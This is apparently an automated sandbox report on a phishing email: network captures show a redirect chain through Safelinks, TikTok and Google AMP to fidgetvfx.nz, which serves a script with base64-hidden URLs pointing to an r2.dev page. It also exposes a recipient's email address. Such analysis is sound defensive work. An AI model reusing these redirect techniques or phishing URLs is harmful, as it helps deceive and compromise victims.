2024-10-07 19:00:11 UTC	889	OUT	GET /amp/s/fidgetvfx.nz/.amg HTTP/1.1 Host: www.google.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv
2024-10-07 19:00:11 UTC	794	IN	HTTP/1.1 302 Found Location: https://fidgetvfx.nz/.amg Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-5Fms3HmA9BvruDiELcBBYw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Mon, 07 Oct 2024 19:00:11 GMT Server: gws Content-Length: 222 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-07 19:00:11 UTC	222	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 66 69 64 67 65 74 76 66 78 2e 6e 7a 2f 2e 61 6d 67 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://fidgetvfx.nz/.amg">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49834	203.28.49.249	443	1176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:12 UTC	660	OUT	GET /.amg/ HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:00:13 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:00:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 19:00:13 UTC	624	IN	Data Raw: 32 36 34 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 76 61 72 20 66 69 72 73 74 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 34 4c 6d 4e 76 62 51 3d 3d 22 3b 0d 0a 20 20 20 20 76 61 72 20 73 65 63 6f 6e 64 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 77 64 57 49 74 4f 44 41 32 4f 44 56 6c 4e 44 51 78 4f 47 59 33 4e 44 41 79 4e 6d 46 6b 59 7a 67 35 4d 54 4a 68 4e 57 46 69 4d 44 59 7a 5a 47 49 75 63 6a 49 75 5a 47 56 32 4c 32 6c 75 5a 47 56 34 4c 6d 68 30 62 57 77 3d 22 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 4c 6f 61 64 20 74 68 65 20 66 69 72 73 74 20 55 52 4c 20 66 6f 72 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 0d 0a 20 20 20 Data Ascii: 264 <script type="text/javascript"> var firstBase64Url = "aHR0cHM6Ly94LmNvbQ=="; var secondBase64Url = "aHR0cHM6Ly9wdWItODA2ODVlNDQxOGY3NDAyNmFkYzg5MTJhNWFiMDYzZGIucjIuZGV2L2luZGV4Lmh0bWw="; // Load the first URL for a few seconds

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49835	203.28.49.249	443	1176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:14 UTC	585	OUT	GET /favicon.ico HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fidgetvfx.nz/.amg/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:00:15 UTC	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:00:14 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.16	49838	172.66.0.235	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:16 UTC	652	OUT	GET /favicon.ico HTTP/1.1 Host: pub-80685e4418f74026adc8912a5ab063db.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:00:16 UTC	180	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 19:00:16 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8cf02210cbeb42bb-EWR
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 76 67 20 3e 20 2e 65 79 65 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 65 79 65 2d 31 20 33 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 76 67 20 3e 20 2e 65 79 65 2d 32 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 65 79 65 2d 32 20 33 73 20 30 2e 36 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a Data Ascii: teX(0); } 100% { transform: translateX(0px); } } svg > .eye-1 { animation: eye-1 3s infinite; } svg > .eye-2 { animation: eye-2 3s 0.6s infinite; } h1 { font-siz
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 34 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 31 34 20 32 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 0a 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: a > </p> </div> </section> <section> <svg width="414" height="212" viewBox="0 0 414 212" fill="none" xmlns="http://www.w3.org/2000/svg" >
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 32 2e 36 39 32 20 31 30 2e 32 33 34 37 48 31 32 36 2e 34 30 32 56 32 34 2e 30 33 34 35 48 31 32 32 2e 36 39 32 56 31 30 2e 32 33 34 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 38 35 2e 36 37 37 35 20 35 37 2e Data Ascii: 34C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC" /> <path d="M122.692 10.2347H126.402V24.0345H122.692V10.2347Z" fill="#0055DC" /> <path d="M85.6775 57.
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 33 36 2e 31 37 36 20 31 31 33 2e 32 38 31 20 31 33 36 2e 37 30 34 20 31 31 34 2e 35 35 35 20 31 33 37 2e 36 34 33 20 31 31 35 2e 34 39 34 43 31 33 38 2e 35 38 32 20 31 31 36 2e 34 33 33 20 31 33 39 2e 38 35 36 20 31 31 36 2e 39 36 31 20 31 34 31 2e 31 38 34 20 31 31 36 2e 39 36 31 43 31 34 31 2e 38 34 32 20 31 31 36 2e 39 36 32 20 31 34 32 2e 34 39 34 20 31 31 36 2e 38 33 33 20 31 34 33 2e 31 30 33 20 31 31 36 2e 35 38 32 43 31 34 33 2e 37 31 31 20 31 31 36 2e 33 33 31 20 31 34 34 2e 32 36 34 20 31 31 35 2e 39 36 32 20 31 34 34 2e 37 Data Ascii: ll="#0055DC" /> <path d="M136.176 111.953C136.176 113.281 136.704 114.555 137.643 115.494C138.582 116.433 139.856 116.961 141.184 116.961C141.842 116.962 142.494 116.833 143.103 116.582C143.711 116.331 144.264 115.962 144.7
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 31 33 2e 38 37 32 43 31 30 34 2e 30 31 38 20 31 31 34 2e 34 38 20 31 30 34 2e 33 38 37 20 31 31 35 2e 30 33 32 20 31 30 34 2e 38 35 33 20 31 31 35 2e 34 39 37 43 31 30 35 2e 33 31 39 20 31 31 35 2e 39 36 32 20 31 30 35 2e 38 37 32 20 31 31 36 2e 33 33 31 20 31 30 36 2e 34 38 31 20 31 31 36 2e 35 38 32 43 31 30 37 2e 30 38 39 20 31 31 36 2e 38 33 33 20 31 30 37 2e 37 34 31 20 31 31 36 2e 39 36 32 20 31 30 38 2e 33 39 39 20 31 31 36 2e 39 36 31 43 31 30 39 2e 37 32 38 20 31 31 36 2e 39 36 31 20 31 31 31 2e 30 30 31 20 31 31 36 2e 34 33 Data Ascii: h d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 113.872C104.018 114.48 104.387 115.032 104.853 115.497C105.319 115.962 105.872 116.331 106.481 116.582C107.089 116.833 107.741 116.962 108.399 116.961C109.728 116.961 111.001 116.43
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 38 2e 38 32 31 20 34 38 2e 39 35 31 36 43 31 30 34 2e 30 32 34 20 34 38 2e 39 35 31 36 20 31 30 30 2e 31 33 35 20 34 35 2e 30 36 32 37 20 31 30 30 2e 31 33 35 20 34 30 2e 32 36 35 35 43 31 30 30 2e 31 33 35 20 33 35 2e 34 36 38 34 20 31 30 34 2e 30 32 34 20 33 31 2e 35 37 39 35 20 31 30 38 2e 38 32 31 20 33 31 2e 35 37 39 35 43 31 31 33 2e 36 31 38 20 33 31 2e 35 37 39 35 20 31 31 37 2e 35 30 37 20 33 35 Data Ascii: 0055DC" stroke-width="2" stroke-miterlimit="10" /> <path d="M108.821 48.9516C104.024 48.9516 100.135 45.0627 100.135 40.2655C100.135 35.4684 104.024 31.5795 108.821 31.5795C113.618 31.5795 117.507 35
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 38 34 2e 38 39 31 38 20 31 32 37 2e 35 38 31 48 31 36 34 2e 39 36 37 43 31 37 33 2e 33 34 35 20 31 32 37 2e 35 38 31 20 31 38 30 2e 31 33 37 20 31 33 34 2e 33 37 31 20 31 38 30 2e 31 33 37 20 31 34 32 2e 37 34 37 43 31 38 30 2e 31 33 37 20 31 35 31 2e 31 32 33 20 31 37 33 2e 33 34 35 20 31 35 37 2e 39 31 33 20 31 36 34 2e 39 36 37 20 31 35 37 2e 39 31 33 48 38 34 2e 38 39 Data Ascii: C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill="#6ECCE5" /> <path d="M84.8918 127.581H164.967C173.345 127.581 180.137 134.371 180.137 142.747C180.137 151.123 173.345 157.913 164.967 157.913H84.89
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 33 38 20 31 34 35 2e 33 39 35 20 31 30 34 2e 30 32 31 20 31 34 37 2e 38 36 39 20 31 30 35 2e 38 30 38 20 31 34 39 2e 37 30 39 43 31 30 37 2e 35 39 35 20 31 35 31 2e 35 34 39 20 31 31 30 2e 30 33 39 20 31 35 32 2e 36 30 33 20 31 31 32 2e 36 30 34 20 31 35 32 2e 36 34 31 43 31 31 35 2e 31 36 38 20 31 35 32 2e 36 30 33 20 31 31 37 2e 36 31 33 20 31 35 31 2e 35 34 39 20 31 31 39 2e 34 20 31 34 39 2e 37 30 39 43 31 32 31 2e 31 38 37 20 31 34 37 2e 38 36 39 20 31 32 32 2e 31 37 20 31 34 35 2e 33 39 35 20 31 32 32 2e 31 33 34 20 31 34 32 2e Data Ascii: -mode: multiply"> <path d="M103.074 142.831C103.038 145.395 104.021 147.869 105.808 149.709C107.595 151.549 110.039 152.603 112.604 152.641C115.168 152.603 117.613 151.549 119.4 149.709C121.187 147.869 122.17 145.395 122.134 142.
2024-10-07 19:00:16 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 38 37 2e 30 31 34 31 48 31 34 32 2e 31 37 37 56 39 31 2e 31 30 38 39 48 31 33 37 2e 30 38 37 56 38 37 2e 30 31 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 38 37 2e 30 31 34 31 48 31 33 34 2e 39 33 34 56 39 31 2e 31 30 38 39 48 31 32 39 2e 38 35 32 56 38 37 2e 30 31 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: fill="#0055DC" /> <path d="M137.087 87.0141H142.177V91.1089H137.087V87.0141Z" fill="#0055DC" /> <path d="M129.852 87.0141H134.934V91.1089H129.852V87.0141Z"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.16	49837	203.28.49.249	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:16 UTC	347	OUT	GET /favicon.ico HTTP/1.1 Host: fidgetvfx.nz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:00:16 UTC	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:00:16 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	1
Start time:	14:58:09
Start date:	07/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg"
Imagebase:	0x230000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:58:10
Start date:	07/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B3E3ED68-E3F6-4C84-A398-33E99E7B63A5" "509AA02B-1097-4684-B4A7-E5EB26F7509D" "6928" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff776410000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:58:35
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:58:35
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1912,i,10919333991818839902,5121164596706784509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:00:03
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:00:03
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2028,i,5372999462618525126,16104057592058770167,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
